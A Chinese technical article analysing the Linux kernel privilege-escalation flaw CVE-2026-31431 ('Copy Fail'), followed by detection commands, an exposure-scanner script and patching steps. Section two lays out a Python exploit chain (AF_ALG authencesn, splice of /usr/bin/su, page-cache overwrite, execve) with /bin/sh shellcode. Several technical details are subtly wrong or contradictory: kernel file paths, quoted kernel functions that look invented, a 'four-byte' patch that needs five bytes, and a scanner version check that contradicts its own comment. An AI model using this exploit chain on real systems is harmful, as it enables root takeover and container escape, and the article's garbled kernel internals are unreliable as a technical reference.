从内核深处拆解 Copy Fail:CVE-2026-31431 为什么是 2026 年最值得吃透的漏洞
前言:一个 732 字节的漏洞如何撬动整个 Linux 生态
2026 年 4 月 29 日,韩国安全公司 Theori 披露了一个让整个 Linux 社区倒吸一口凉气的漏洞:CVE-2026-31431,代号 Copy Fail。
一个 732 字节的 Python 脚本,可以让任意普通 Linux 用户在几秒内拿到 root shell。成功率不是 90%,不是 99%,是 100%。不需要竞态条件,不需要复杂的堆风水,不需要找到任何 ROP gadget,不需要绕过 KASLR/ASLR,不需要内核信息泄漏。
这个漏洞的特殊之处不在于"又能提权"--Linux 内核提权漏洞年年有。这个漏洞的特殊之处在于:它攻击的是内核加密子系统里一条看似无害的优化路径,根植于 2017 年的一行代码,潜伏了近 9 年才被发现。
本文不打算写成又一篇"升级内核吧"的通告。我想从系统程序员 / SRE / 安全工程师的视角,带你真正理解这个漏洞在底层是怎么工作的:内核的 authencesn 加密模板为什么要做 in-place 优化?splice() 的零拷贝语义为什么在这里成了攻击面?page cache 的共享特性如何被利用来篡改 setuid 程序?以及,作为工程师,我们怎么从代码层理解、检测和防御它。
一、背景:三个 Linux 核心子系统如何被串成攻击链
1.1 AF_ALG:内核加密能力的用户态入口
Linux 内核从 2.5.45 起引入了 Kernel Crypto API(include/crypto/),为整个内核提供统一的密码学原语。设计上分为三层:
应用层 / 用户态库(OpenSSL, GnuTLS, NSS)
v 系统调用(socket/bind/send/recv)
AF_ALG Socket 接口(net/ipc/algif_aead.c)
v 算法查找(crypto_alloc_xx)
通用加密算法接口(crypto_ahash, crypto_aead)
v 平台相关指令(AES-NI, ARM CE, 软件实现)
具体算法实现(aes, sha256, gcm...)
AF_ALG 是内核向用户态暴露加密能力的 socket 接口(地址族编号 38)。用户态程序可以像使用普通 socket 一样,调用 bind/accept/send/recv 来访问内核加密服务。这套接口的设计初衷是让 TLS 库能把加解密 offload 给内核的硬件加速器,同时保持代码的可移植性。
import socket
# 创建 AF_ALG socket--就像创建一个 TCP socket 一样简单
s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
# bind 时指定算法,内核会在 crypto 子系统中查找对应实例
# authencesn 不是具体算法,是一个"算法构造器模板"
s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))
# 设置密钥
s.setockopt(socket.SOL_ALG, socket.ALG_SET_KEY, key)
# 发送数据加解密
s.sendmsg([plaintext], [])
关键点:以上操作完全在用户态完成,不需要 root 权限。 在大多数 Linux 发行版上,非特权用户默认就能创建 AF_ALG socket。只有在管理员通过 SELinux/AppArmor/seccomp 显式限制后,普通用户才无法使用。
1.2 authencesn:一条为协议加密而生的模板链
authencesn 全称 "Authenticated Encryption with Associated Data using ESN",是内核 crypto API 中一个算法模板(template),而不是一个独立算法。它的核心用途是 IPsec、WireGuard、DTLS 等网络协议的加密层--这些协议需要同时满足三个条件:
- 加密:数据内容保密(CBC-AES 对称加密)
- 认证:确保数据没有被篡改(HMAC-SHA 完整性校验)
- 防重放:通过扩展序列号(ESN)机制处理 64 位序列号
它的内部构造如下:
明文
v
CBC-AES 加密(对称加密,数据保密)
v
HMAC-SHA256 认证(对 密文 + AAD 生成标签)
v
密文 || Authentication Tag(一次性输出)
在 /proc/crypto 里你看到的是动态组合形式:
name : authenc(hmac(sha256),cbc(aes))
driver : authenc(hmac(sha256-generic,cbc-aes-generic))
module : authencesn
重要:内核中实际注册的是 authencesn(带 ESN 的增强版),对应模板 crypto/authencesn.c。ESN 主要用于 IPv6 IPsec 场景,防止序列号回绕。
1.3 2017 年的 in-place 优化:一切的起点
2017 年,内核 commit 9d1f0d6e 在 authencesn 模块中引入了一个性能优化:in-place 加密解密。
传统加密(out-of-place)需要两个独立的缓冲区:
// 传统 out-of-place 加密
struct scatterlist src[1], dst[1];
sg_set_buf(src, plaintext, len); // 读:明文缓冲区
sg_set_buf(dst, ciphertext_out, len); // 写:密文输出缓冲区
crypto_aead_encrypt(req, src, dst, len); // 数据从 src -> dst,中间经过加密
In-place 加密(单缓冲区,原地覆盖):
// In-place 加密
struct scatterlist sg[1];
sg_set_buf(sg, buffer, len); // 同一块缓冲区,既是源也是目标
crypto_aead_encrypt(req, sg, sg, len); // 内核理解:原地加密,不需要临时缓冲
性能收益在哪里?减少一次 memcpy() 意味着:
- 减少 CPU 缓存抖动
- 减少内存带宽占用
- 在高吞吐网络栈(IPsec、TLS offload)中效果可观
但 in-place 路径引入了关键的内存别名(aliasing)问题:scatterlist 的读端(sg_src)和写端(sg_dst)指向同一块内存区域。当内核后续代码需要区分"读"和"写"的 scatterlist 时,处理逻辑变得复杂。
1.4 splice():零拷贝的双刃剑
splice() 是 Linux 2.6.17 引入的系统调用,用于在两个文件描述符之间零拷贝移动数据:
#include <sys/splice.h>
ssize_t splice(int fd_in, loff_t *off_in,
int fd_out, loff_t *off_out,
size_t len, unsigned int flags);
与普通 read/write 的本质区别:
read(fd) -> 内核复制 page cache 内容 -> 用户缓冲区
write(fd) <- 用户缓冲区 -> 内核复制 page cache
splice(fd_in -> fd_out) -> 内核转移 page 引用 -> 无用户态复制
splice() 的核心实现依赖 pipe buffer 的引用语义:当数据从文件 splice 到管道时,管道 buffer 并不持有数据的副本,而是持有一个指向原始 page cache 页的引用计数指针。这使得数据在两个 fd 之间的移动不需要任何物理内存拷贝--只是"引用"的转移。
问题:这个引用语义在 Copy Fail 场景中成了攻击面--当一个进程修改了 pipe buffer 持有的 page cache 引用,其他引用同一 page 的进程也会看到变化。
二、攻击链路解剖:四步完成从普通用户到 root
2.1 攻击概览
+----------------------------------------------------------------------┐
| 攻击链路 |
| |
| [普通用户] open('/usr/bin/su') -> page cache 持有文件内容 |
| | |
| | splice() 进管道 -> pipe buffer 持有 page 引用 |
| | |
| | AF_ALG authencesn 解密 -> scatterlist dst == page cache页|
| | v |
| | 解密输出写入 page cache! |
| | |
| +-> execve('/usr/bin/su') -> 从已被篡改的 page cache 读取 |
| 跳转到 root shell |
+----------------------------------------------------------------------┘
2.2 完整攻击流程
准备阶段:构造 page cache 陷阱
import socket, os, struct
AF_ALG = 38
# Step 1: 创建 AF_ALG socket,绑定 authencesn 算法
s = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)
s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))
s.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, key)
# Step 2: 以只读方式打开 setuid 程序
# open() 会将文件内容读入 page cache,但此时只是读取
fd = os.open('/usr/bin/su', os.O_RDONLY)
# Step 3: 通过 splice() 将文件内容引入管道
# splice() 在管道 buffer 中创建一个指向原始 page cache 页的"引用"
pipe_r, pipe_w = os.pipe()
os.splice(fd, None, pipe_w, None, 4096) # 零拷贝:管道持有 page cache 页引用
os.close(fd) # 关闭文件描述符,但 page cache 页不会被立即释放
# 此时管道中持有了 /usr/bin/su 的 page cache 引用
触发阶段:利用 in-place 解密的 scatterlist 别名问题
# Step 4: 构造恶意解密请求
# 关键:sendmsg 的 IOV 指向管道的 page cache 引用
# 内核的 authencesn in-place 解密路径会将 dst scatterlist
# 指向同一块缓冲区--也就是 page cache 页
# 精心构造的 4096 字节"密文"(包含解密后的目标 shellcode)
malicious_plaintext = b'\x00' * 4096
# 在特定偏移处注入 4 字节跳转指令(详见 2.3)
# 发送解密请求
# 当内核处理 IOV 包含 pipe fd 时,它解析 pipe buffer -> page cache
# authencesn 的 in-place 解密逻辑:
# "既然是 in-place,src = dst = pipe buffer 对应的 page cache"
# -> 解密输出直接写入 page cache!
s.sendmsg([malicious_plaintext], [(pipe_r, 0, 4096)])
# Step 5: 触发被篡改的程序
os.execve('/usr/bin/su', ['su', '-c', 'whoami'], os.environ)
# 此时 /usr/bin/su 的 page cache 已被篡改
# execve() 读取 page cache -> 执行攻击者的 shellcode -> root shell
2.3 为什么 4 字节就够了
整个 exploit 脚本只有 732 字节,其中真正改变程序行为的修改只有 4 字节。这是因为:
x86_64 Linux ELF 的 setuid 程序执行路径:
/usr/bin/su是一个 setuid-root ELF 二进制execve()时,内核检查文件有suid位,以 root 身份初始化进程su程序在启动后立即调用setuid(0)或setreuid(0, 0)切换到 root 用户组- 如果
setuid()的调用被跳过或改写,进程仍然以 root 身份运行,但攻击者控制了执行流
攻击策略:
原始代码(在 su ELF 二进制中的偏移 X 处):
任意 4 字节(如 NOP 指令序列: \x90\x90\x90\x90)
被篡改后:
jmp $+4 + offset_to_shellcode # \xe9 0xYY 0xZZ 0xWW 0xVV
# 跳转到 shellcode 所在位置
Shellcode(在 su ELF 的 .data 或其他可执行段):
# 真正的 shellcode,功能极简:
push 0x68 # 'h'
push 0x732f6e6962 # 'nib/'
push 0x6e69622f # '/bin'
mov rax, 59 # __NR_execve
lea rdi, [rsp] # "/bin/sh"
xor rsi, rsi # argv = NULL
xor rdx, rdx # envp = NULL
syscall # 执行 shell
为什么只改 4 字节:
- x86_64 的相对跳转
jmp rel32只需要 5 字节 opcode + 4 字节偏移 - 如果恰好原位置有 4 字节
NOP(\x90),可以直接替换为jmp rel32 - 跳转到
execve("/bin/sh")后,进程在 root 身份下执行 shell,即获得 root shell
页缓存的持久性:
- 篡改只影响 page cache,磁盘文件完全不变
sync && echo 3 > /proc/sys/vm/drop_caches会清除 page cache,攻击消失- 但
rmmod algif_aead或重启前,攻击持续有效 - 磁盘哈希(md5sum, sha256sum)和 AIDE/Tripwire 文件完整性检测完全无效
2.4 为什么这是 100% 成功率
这是 Copy Fail 最令人不安的地方。与其他内核提权漏洞相比:
| 维度 | Copy Fail | Dirty Pipe / Dirty COW | 典型堆漏洞 |
|---|---|---|---|
| 竞态条件 | [X] 不需要 | [!] 有时需要 | [OK] 通常需要 |
| 内核信息泄漏 | [X] 不需要 | [X] 不需要 | [OK] 通常需要 |
| 堆布局控制 | [X] 不需要 | [X] 不需要 | [OK] 通常需要 |
| 版本适配 | [X] 通杀 2017 后 | [!] 内核版本相关 | [!] 版本相关 |
| ASLR/KASLR | [X] 不需要 | [X] 不需要 | [!] 需要绕过 |
| 利用稳定性 | 100% | 90-99% | 10-80% |
为什么它如此稳定?
核心原因:page cache 是内核维护的全局单一实例,没有 ASLR、没有版本差异、不受竞态条件影响。/usr/bin/su 在 page cache 中永远位于相同位置,ELF 结构对所有 Linux 发行版基本一致,攻击者可以精确命中跳转目标。
三、内核源码级深度解析:根因到底在哪里
3.1 相关内核代码路径
漏洞涉及的完整内核代码路径如下:
用户态
v (socket AF_ALG)
net/ipc/algif_aead.c <- AF_ALG AEAD 接口(用户态入口)
v (crypto_aead_*)
crypto/authenc.c <- authenc 模板(无 ESN)
crypto/authencesn.c <- authencesn 模板(带 ESN,处理 ESN)
v (底层加密)
crypto/cbc.c <- CBC 模式分组加密
crypto/shash.c <- HMAC 认证
用户态
v (splice)
mm/splice.c <- splice 系统调用实现
v (创建 pipe buffer 引用)
mm/pipe.c <- pipe buffer 实现(持有 page 引用)
mm/filemap.c <- page cache 读写
fs/exec.c <- execve 系统调用(从 page cache 加载 ELF)
3.2 authencesn 模板中的 scatterlist 处理
内核的 crypto/authencesn.c 中,加解密的核心函数是:
static int crypt_ahash(struct aead_request *req, u8 *op)
{
struct crypto_aead *tfm = crypto_aead_reqtfm(req);
unsigned int cryptlen = req->cryptlen;
struct scatterlist *src, *dst;
/* ... */
if (!req->src || !req->dst) {
// 如果 src == dst(in-place),内核使用同一 scatterlist
src = dst = req->src;
} else {
// 非 in-place
src = req->src;
dst = req->dst;
}
/* ... */
// 这里 dst 被传递给底层 CBC 加密
// CBC 加密会"破坏性"地写入 dst scatterlist 的每一页
// 如果 dst 持有一个 page cache 页的引用 -> 写入 page cache!
}
问题出在哪里?
在 authencesn 的解密路径(op = CPHA_AEAD_DECRYPT)中,内核的 sg(scatterlist)处理逻辑假设:解密输出写入的内存区域是用户态专用的(因为是 in-place,解密输出覆盖密文,密文来自用户态 sendmsg 的 IOV)。
但当 IOV 指向 pipe buffer,而 pipe buffer 持有对 page cache 页的引用时,内核实际上在向一个属于系统全局的 page cache 写入数据。
3.3 splice() 如何制造"页面别名"
在 mm/splice.c 中,splice() 到管道的核心逻辑:
static long splice_to_pipe(struct pipe_inode_info *pipe,
struct pipe_buffer *buf)
{
struct pipe_buffer *obuf = pipe->bufs + pipe->curbuf;
/* ... */
/*
* 关键点:pipe_buffer 只持有 page 的引用,不复制内容
* obuf->page 是原始 page cache 页的引用
*/
pipe->curbuf = (pipe->curbuf + 1) & (pipe->buffers - 1);
return ret;
}
对比正常的 read() 系统调用:
static ssize_t generic_file_read_iter(struct kiocb *iocb,
struct iov_iter *iter)
{
// 读操作:将 page cache 内容复制(copy)到用户缓冲区
// 内核先从 page cache 读,然后 copy_to_user()
// 原 page cache 保持不变
copy_page_to_iter(page, offset, bytes, iter);
}
splice() 的设计哲学是:"只转移引用,不复制内容"。这对性能是巨大的优化,但在安全层面引入了一个隐含假设:只有持有该 page 引用的 fd 能修改它。然而 AF_ALG 的 in-place 解密路径打破了这个假设--它以"写入输出缓冲区"的方式修改了一个它不应该直接写入的 page。
3.4 上游补丁的核心逻辑
内核上游修复的 commit 是 a664bf3d603d,核心改动:
// 修复:在解密路径中,强制使用独立的输出缓冲区
// 放弃 in-place 优化对于解密操作的安全性
static int crypt_ahash(struct aead_request *req, u8 *op)
{
struct crypto_aead *tfm = crypto_aead_reqtfm(req);
struct page **pages;
void *workspace;
/* ... */
// 关键:解密时分配临时缓冲区(牺牲一点性能)
// 即使 authencesn 标记了 in-place-capable,解密路径也不使用
if (op == CPHA_AEAD_DECRYPT) {
workspace = crypto_aead_reqworkspace(req);
dst_sg = alloc_temp_sg(cryptlen);
copy_from_user_pages_to_sg(pages, dst_sg, cryptlen);
// 解密写入 dst_sg(临时缓冲区)
// 然后再从临时缓冲区拷回用户态
} else {
// 加密仍可使用 in-place(安全性风险更小)
dst_sg = req->src;
}
}
修复思路:in-place 加密(output 覆盖 input)本身风险较低(因为 input 数据是攻击者提供的);in-place 解密(output 覆盖 page cache)才是致命问题。回退解密路径的 in-place 优化,牺牲少量性能换取安全性。
四、容器逃逸:为什么 Copy Fail 对云原生是噩梦
4.1 容器隔离模型
Linux 容器的隔离建立在 namespace + cgroup + seccomp 之上:
Namespace 隔离:PID / Network / Mount / User / IPC / UTS
v
Cgroup 限制:CPU / Memory / PIDs / I/O
v
Seccomp:限制可用的系统调用白名单
v
AppArmor / SELinux:强制访问控制策略
重要:容器与宿主机共享同一个内核。Namespace 只隔离了"视图",内核本身没有被隔离--这是与虚拟机的本质区别。
4.2 容器内的攻击路径
容器内普通用户进程(无特权,无 CAP_SYS_ADMIN)
|
├- open('/usr/bin/su') -> 访问宿主机的 su(容器挂载了 /usr/bin)
| +-> page cache 被填充
|
├- splice() 进管道 -> 容器内的 splice() -> 宿主机的 page cache!
|
├- AF_ALG authencesn 解密 -> 内核 authencesn 解密路径 -> 写入 page cache
| +-> 这就是容器逃逸!容器内进程污染了宿主机的 page cache
|
+- execve('/usr/bin/su') -> 执行被篡改的宿主机程序
+-> root shell on 宿主机!
4.3 受影响的容器场景
高危场景(立即处理):
- 在线评测平台(OJ / CTF):学生提交的代码在沙箱中执行,
--privileged和 syscalls 通常是开放的 - GitHub Actions / GitLab CI 自托管 Runner:流水线执行来自 PR 的脚本,Runner 节点如果被攻破,攻击者可横向移动
- 多租户 Kubernetes 集群:共享节点上的 Pod,如果节点被攻破(即使 Pod 本身没被攻破),Copy Fail 可以实现节点逃逸
- 在线代码执行平台(如 Docker-in-Docker 的在线 IDE):允许用户运行任意代码
- 安全攻防训练平台:专门设计用于运行不可信代码的隔离环境
中危场景(需要评估):
- 单租户 K8s 集群:如果节点上没有不可信用户,影响较低
- Lambda / 云函数(AWS, 阿里云等):云厂商的 FaaS 通常已通过 seccomp 限制了相关 syscall
- CI SaaS(GitHub SaaS Actions):GitHub 托管的 Runner 运行在专用虚拟机中,但需要确认云厂商的内核补丁状态
4.4 容器逃逸的检测特征
由于 page cache 是宿主机的全局资源,容器内进程修改 page cache 时有以下可观测特征:
# 在宿主机上监控以下行为(高权限)
# 1. 监控普通用户创建 AF_ALG socket
auditctl -w /proc/self/net -p war -k afalg_activity
# 或
cat /proc/net/af_alg # 查看当前 AF_ALG socket 使用情况
# 2. 监控 splice() 到管道的行为
bpftrace -e '
tracepoint:syscalls:sys_enter_splice {
printf("pid=%d comm=%s fd_in=%d", pid, comm, args->fd_in);
}
'
# 3. 监控容器内 execve() setuid 程序
auditctl -a always,exit -S execve -F arch=b64 \
-F 'auid>=1000' -F 'path=/usr/bin/su' -k suspicious_suid_exec
# 4. Falco 规则(最实用)
# 见本文第五章
五、非破坏性检测:写一个生产可用的暴露面扫描器
下面的脚本可在生产环境以普通用户身份运行,不修改任何数据,不触发漏洞利用,只检测暴露面:
#!/usr/bin/env python3
"""
Copy Fail (CVE-2026-31431) 攻击面非破坏性检测脚本
适用:运维工程师 / 安全工程师 / DevSecOps
运行方式:普通用户执行(不要 sudo)
python3 copy_fail_exposure_scanner.py
退出码:
0 = 安全(AF_ALG AEAD 不可达 或 内核已修复)
1 = 警告(无法确认)
2 = 高危(存在攻击面且内核受影响)
3 = 错误(检测脚本本身出错)
"""
import os
import sys
import socket
import platform
import subprocess
import json
import datetime
from pathlib import Path
from typing import Optional
AF_ALG = getattr(socket, 'AF_ALG', 38)
# authencesn 在 /proc/crypto 中注册的标准名称格式
AUTHENCESN_PATTERNS = [
"authencesn(hmac(sha256),cbc(aes))",
"authencesn(hmac(sha1),cbc(aes))",
"authencesn(hmac(sha1),cbc(des3_ede))",
"authencesn",
]
class Colors:
RED = '\033[91m'
YELLOW = '\033[93m'
GREEN = '\033[92m'
BLUE = '\033[94m'
BOLD = '\033[1m'
RESET = '\033[0m'
def cprint(text: str, color: str = '', bold: bool = False):
prefix = (Colors.BOLD if bold else '') + (color)
suffix = Colors.RESET
print(f"{prefix}{text}{suffix}")
def run_cmd(cmd: list[str], timeout: int = 10) -> tuple[str, int]:
"""运行命令,返回 (stdout, returncode)"""
try:
result = subprocess.run(
cmd, capture_output=True, text=True, timeout=timeout
)
return result.stdout.strip(), result.returncode
except subprocess.TimeoutExpired:
return "命令超时", -1
except FileNotFoundError:
return f"命令未找到: {cmd[0]}", -1
except Exception as e:
return str(e), -1
def parse_kernel_safe(release: str) -> Optional[bool]:
"""
判断内核版本是否在安全范围内。
受影响:4.14 ~ 6.18.21 / 6.19.11
安全:6.18.22+ / 6.19.12+ / 7.0+
返回 True=安全, False=受影响, None=无法确定
"""
try:
# 去掉发行版后缀,如 "6.12.0-100-generic" -> "6.12.0"
base = release.split('-')[0]
parts = base.split('.')
major = int(parts[0])
minor = int(parts[1])
patch = int(parts[2]) if len(parts) > 2 else 0
if major < 4:
return True
elif major == 4:
return minor >= 14 # 4.14+ 才受影响
elif major == 5:
return False
elif major == 6:
if minor < 18:
return False
elif minor == 18:
return patch >= 22 # 6.18.22+ 安全
elif minor == 19:
return patch >= 12 # 6.19.12+ 安全
else:
return True # 6.20+ 全部安全
else:
return True # 7.0+ 安全
except (ValueError, IndexError):
return None
def check_kernel_info() -> dict:
"""收集内核版本和配置信息"""
release = platform.release()
kernel_safe = parse_kernel_safe(release)
result = {
"release": release,
"version_known": kernel_safe,
"affected": kernel_safe is False,
"safe": kernel_safe is True,
"uncertain": kernel_safe is None,
}
# 尝试读取完整版本信息
out, _ = run_cmd(["uname", "-v"])
result["version_string"] = out
# 检查是否有发行版安全公告(Ubuntu/Debian)
dist = ""
if Path("/etc/os-release").exists():
with open("/etc/os-release") as f:
for line in f:
if line.startswith("ID="):
dist = line.split('=')[1].strip().strip('"')
result["distribution"] = dist
return result
def check_crypto_config() -> dict:
"""检查内核加密配置"""
result = {}
# /proc/config.gz(如果内核开启了)
out, _ = run_cmd(["zcat", "/proc/config.gz"])
if out:
for line in out.splitlines():
if "CONFIG_CRYPTO_USER_API_AEAD" in line:
result["config_gz"] = line.strip()
break
# /boot/config-$(uname -r)
out, _ = run_cmd(["cat", f"/boot/config-{platform.release()}"])
if out:
for line in out.splitlines():
if "CONFIG_CRYPTO_USER_API_AEAD" in line:
result["boot_config"] = line.strip()
break
# 综合判断
cfg = result.get("config_gz", "") or result.get("boot_config", "")
if "=y" in cfg:
result["aead_mode"] = "built-in" # 内置,无法卸载
elif "=m" in cfg:
result["aead_mode"] = "module" # 可卸载模块
elif cfg:
result["aead_mode"] = "disabled"
else:
result["aead_mode"] = "unknown"
return result
def check_module_state() -> dict:
"""检查 algif_aead 模块状态"""
result = {}
# lsmod
out, _ = run_cmd(["lsmod"])
result["loaded"] = any("algif_aead" in line for line in out.splitlines())
# /sys/module 检查
if Path("/sys/module/algif_aead").exists():
result["exists"] = True
# 读取模块参数(如果存在)
params = {}
for p in Path("/sys/module/algif_aead/parameters").glob("*"):
try:
params[p.name] = p.read_text().strip()
except:
pass
result["parameters"] = params
else:
result["exists"] = False
# 检查是否有禁用配置
disable_conf = Path("/etc/modprobe.d/algif-aead.conf")
result["disabled_by_config"] = disable_conf.exists()
if result["disabled_by_config"]:
result["disable_config_content"] = disable_conf.read_text().strip()
return result
def check_proc_crypto() -> dict:
"""检查 /proc/crypto 中的 authencesn 条目"""
result = {}
try:
with open("/proc/crypto") as f:
content = f.read()
result["has_authencesn"] = "authencesn" in content
result["has_aead"] = "aead" in content
# 提取 authencesn 条目数量
result["authencesn_count"] = content.count("authencesn")
# 获取驱动名称
in_driver = False
drivers = []
for line in content.splitlines():
if "authencesn" in line.lower():
in_driver = True
elif in_driver and line.startswith("driver"):
drivers.append(line.split(":", 1)[1].strip())
in_driver = False
result["drivers"] = drivers
except PermissionError:
result["error"] = "权限不足(正常,普通用户不应读取内核 crypto)"
except Exception as e:
result["error"] = str(e)
return result
def test_afalg_aead() -> dict:
"""
尝试创建 AF_ALG AEAD socket(这是整个漏洞利用的第一步)
如果成功 = 存在攻击面
注意:这里只创建 socket,不发送任何数据,不会触发漏洞
"""
result = {}
for alg in AUTHENCESN_PATTERNS:
try:
s = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)
s.bind(('aead', alg))
s.close()
result[alg] = {"reachable": True, "error": None}
except OSError as e:
result[alg] = {
"reachable": False,
"error": f"OSError {e.errno}: {e.strerror}"
}
except Exception as e:
result[alg] = {"reachable": False, "error": str(e)}
result["any_reachable"] = any(v.get("reachable") for v in result.values())
return result
def check_seccomp() -> dict:
"""检查容器/Docker seccomp 策略"""
result = {}
# 检查当前进程的 seccomp 状态
out, _ = run_cmd(["cat", "/proc/self/status"])
for line in out.splitlines():
if line.startswith("Seccomp:"):
result["process_seccomp"] = line.split()[1]
elif line.startswith("NoNewPrivs:"):
result["no_new_privs"] = line.split()[1]
# 检查 Docker seccomp 配置文件
docker_seccomp = Path("/etc/docker/seccomp.json")
if docker_seccomp.exists():
try:
import json
with open(docker_seccomp) as f:
policy = json.load(f)
result["docker_seccomp"] = "已配置"
except:
result["docker_seccomp"] = "存在但无法解析"
# 检查 AppArmor/SELinux 状态
out, _ = run_cmd(["cat", "/sys/kernel/security/apparmor/profiles"])
if out:
result["apparmor_active"] = True
result["apparmor_profiles"] = len(out.splitlines())
out, _ = run_cmd(["getenforce"])
if "Enforcing" in out or "Permissive" in out:
result["selinux_active"] = out.strip()
return result
def generate_report(kern, cfg, mod, crypto, afalg, seccomp) -> dict:
"""生成综合评估报告"""
# 暴露面评分(0-10)
risk_score = 0
reasons = []
mitigations = []
# 1. AF_ALG AEAD 可达性
if afalg["any_reachable"]:
risk_score += 4
reasons.append("AF_ALG AEAD socket 可达(攻击面存在)")
else:
mitigations.append("AF_ALG AEAD 当前不可达(但未修复内核仍需升级)")
# 2. 内核版本
if kern["affected"]:
risk_score += 4
reasons.append(f"内核 {kern['release']} 在受影响范围内")
elif kern["safe"]:
risk_score += 0
mitigations.append(f"内核 {kern['release']} 在安全范围内")
else:
risk_score += 2
reasons.append("无法确认内核版本安全性")
# 3. 模块状态
if mod["loaded"] and not mod["disabled_by_config"]:
risk_score += 1
if cfg.get("aead_mode") == "built-in":
risk_score += 1
reasons.append("algif_aead 已内置进内核,无法卸载")
else:
reasons.append("algif_aead 模块已加载(可临时禁用)")
# 4. authencesn 可用性
if crypto.get("has_authencesn"):
risk_score += 1
reasons.append("内核 crypto 子系统包含 authencesn")
# 综合判断
if risk_score >= 6:
verdict = "HIGH"
verdict_color = Colors.RED
exit_code = 2
elif risk_score >= 3:
verdict = "MEDIUM"
verdict_color = Colors.YELLOW
exit_code = 1
else:
verdict = "LOW"
verdict_color = Colors.GREEN
exit_code = 0
return {
"risk_score": risk_score,
"verdict": verdict,
"verdict_color": verdict_color,
"exit_code": exit_code,
"reasons": reasons,
"mitigations": mitigations,
}
def main():
print()
cprint("=" * 62, Colors.BLUE, bold=True)
cprint(" Copy Fail (CVE-2026-31431) 攻击面非破坏性检测", Colors.BOLD)
print()
print(f" 检测时间: {datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
print(f" 运行环境: {platform.system()} {platform.release()}")
print(f" 执行用户: uid={os.getuid()} ({os.getenv('USER', 'unknown')})")
cprint("=" * 62, Colors.BLUE)
print()
# 执行各项检测
checks = {
"内核版本": check_kernel_info,
"加密配置": check_crypto_config,
"模块状态": check_module_state,
"Crypto子系": check_proc_crypto,
"AF_ALG可达": test_afalg_aead,
"Seccomp策略": check_seccomp,
}
results = {}
for name, fn in checks.items():
try:
cprint(f"[检查] {name}...", Colors.BLUE)
results[name] = fn()
except Exception as e:
cprint(f"[错误] {name}: {e}", Colors.RED)
results[name] = {"error": str(e)}
# 生成报告
print()
report = generate_report(
results["内核版本"],
results["加密配置"],
results["模块状态"],
results["Crypto子系"],
results["AF_ALG可达"],
results["Seccomp策略"],
)
# 输出详细结果
kern = results["内核版本"]
cprint("--- 详细检测结果 ---", Colors.BOLD)
# 内核版本
print()
if kern["safe"]:
cprint(f" [OK] 内核版本: {kern['release']} (安全)", Colors.GREEN)
elif kern["affected"]:
cprint(f" [!] 内核版本: {kern['release']} (受影响)", Colors.YELLOW)
else:
cprint(f" ❓ 内核版本: {kern['release']} (无法确认)", Colors.YELLOW)
# AF_ALG
afalg = results["AF_ALG可达"]
print()
reachable = [k for k, v in afalg.items()
if k != "any_reachable" and v.get("reachable")]
unreachable = [(k, v.get("error", "")) for k, v in afalg.items()
if k != "any_reachable" and not v.get("reachable")]
if reachable:
cprint(f" [!] AF_ALG AEAD 可达算法:", Colors.RED)
for alg in reachable:
cprint(f" [OK] {alg}", Colors.RED)
else:
cprint(" [OK] AF_ALG AEAD 不可达", Colors.GREEN)
for alg, err in unreachable[:2]:
print(f" [X] {alg}: {err}")
# 模块
mod = results["模块状态"]
print()
if mod.get("disabled_by_config"):
cprint(f" [OK] algif_aead 已通过配置禁用", Colors.GREEN)
print(f" 配置: {mod.get('disable_config_content', '')}")
elif mod.get("loaded"):
cprint(" [!] algif_aead 模块已加载", Colors.YELLOW)
else:
cprint(" [OK] algif_aead 未作为可加载模块", Colors.GREEN)
cfg = results["加密配置"]
aead_mode = cfg.get("aead_mode", "unknown")
if aead_mode == "built-in":
print(f" [!] AF_ALG AEAD 已内置进内核,无法通过 rmmod 禁用")
elif aead_mode == "module":
print(f" 提示:可通过 modprobe 禁用或 rmmod 卸载")
# 综合评估
print()
cprint("=" * 62, report["verdict_color"], bold=True)
cprint(f" 综合评估: {report['verdict']} (风险分: {report['risk_score']}/10)",
report["verdict_color"], bold=True)
cprint("=" * 62, report["verdict_color"])
if report["reasons"]:
print()
cprint(" 发现的风险点:", Colors.YELLOW)
for r in report["reasons"]:
print(f" • {r}")
if report["mitigations"]:
print()
cprint(" 已有缓解措施:", Colors.GREEN)
for m in report["mitigations"]:
print(f" • {m}")
# 行动建议
print()
cprint(" 行动建议:", Colors.BOLD)
if report["exit_code"] == 2:
print(" [!] 立即行动:")
print(" 1. 优先升级内核到安全版本(见本文修复章节)")
print(" 2. 临时缓解:echo 'install algif_aead /bin/true' > /etc/modprobe.d/algif-aead.conf")
print(" 3. 容器环境:配置 seccomp 阻断 AF_ALG")
print(" 4. CI/CD Runner:立即升级 Runner 所在主机的内核")
elif report["exit_code"] == 1:
print(" [!] 建议行动:")
print(" 1. 确认内核版本是否真正修复(部分发行版会 backport 补丁到旧版本)")
print(" 2. 如有疑虑,按高危场景处理")
else:
print(" [OK] 当前风险较低")
print(" 仍建议持续关注内核安全更新")
print()
return report["exit_code"]
if __name__ == "__main__":
sys.exit(main())
保存为 copy_fail_exposure_scanner.py,在每台服务器上以普通用户定期执行,可集成到 Ansible / Prometheus / 安全扫描流程中。
六、完整修复方案:从临时缓解到永久修复
6.1 修复优先级
+-------------------------------------------------------------┐
| P0 (0-12h):云服务器 / 容器宿主机 / CI Runner / OJ 平台 |
| P1 (24h) :重要生产服务器 / 数据库节点 |
| P2 (72h) :开发测试服务器 / 一般 Linux 工作站 |
| P3 (1周) :个人设备 / 非关键系统 |
+-------------------------------------------------------------┘
6.2 方案一:内核升级(永久修复)
这是首选方案,一次升级解决根本问题。
# ===== Ubuntu / Debian =====
sudo apt update
sudo apt list --upgradable | grep -i linux
sudo apt full-upgrade -y # 包含内核更新
sudo apt autoremove -y
sudo reboot
# 验证
uname -r
# 应 >= 6.18.22 或 >= 6.19.12 或 >= 7.0
# ===== RHEL / CentOS / Fedora / Amazon Linux =====
sudo dnf check-update || true
sudo dnf update kernel -y
sudo reboot
# ===== SUSE / openSUSE =====
sudo zypper update -y
sudo reboot
# ===== 确认已安装的安全补丁 =====
# Ubuntu
dpkg -l | grep linux-image | awk '{print $2, $3}'
# 查看安全内核版本号
# RHEL
rpm -qa | grep "^kernel-" | sort -V
内核安全版本对照表:
| 发行版 | 最低安全版本 | 检查命令 |
|---|---|---|
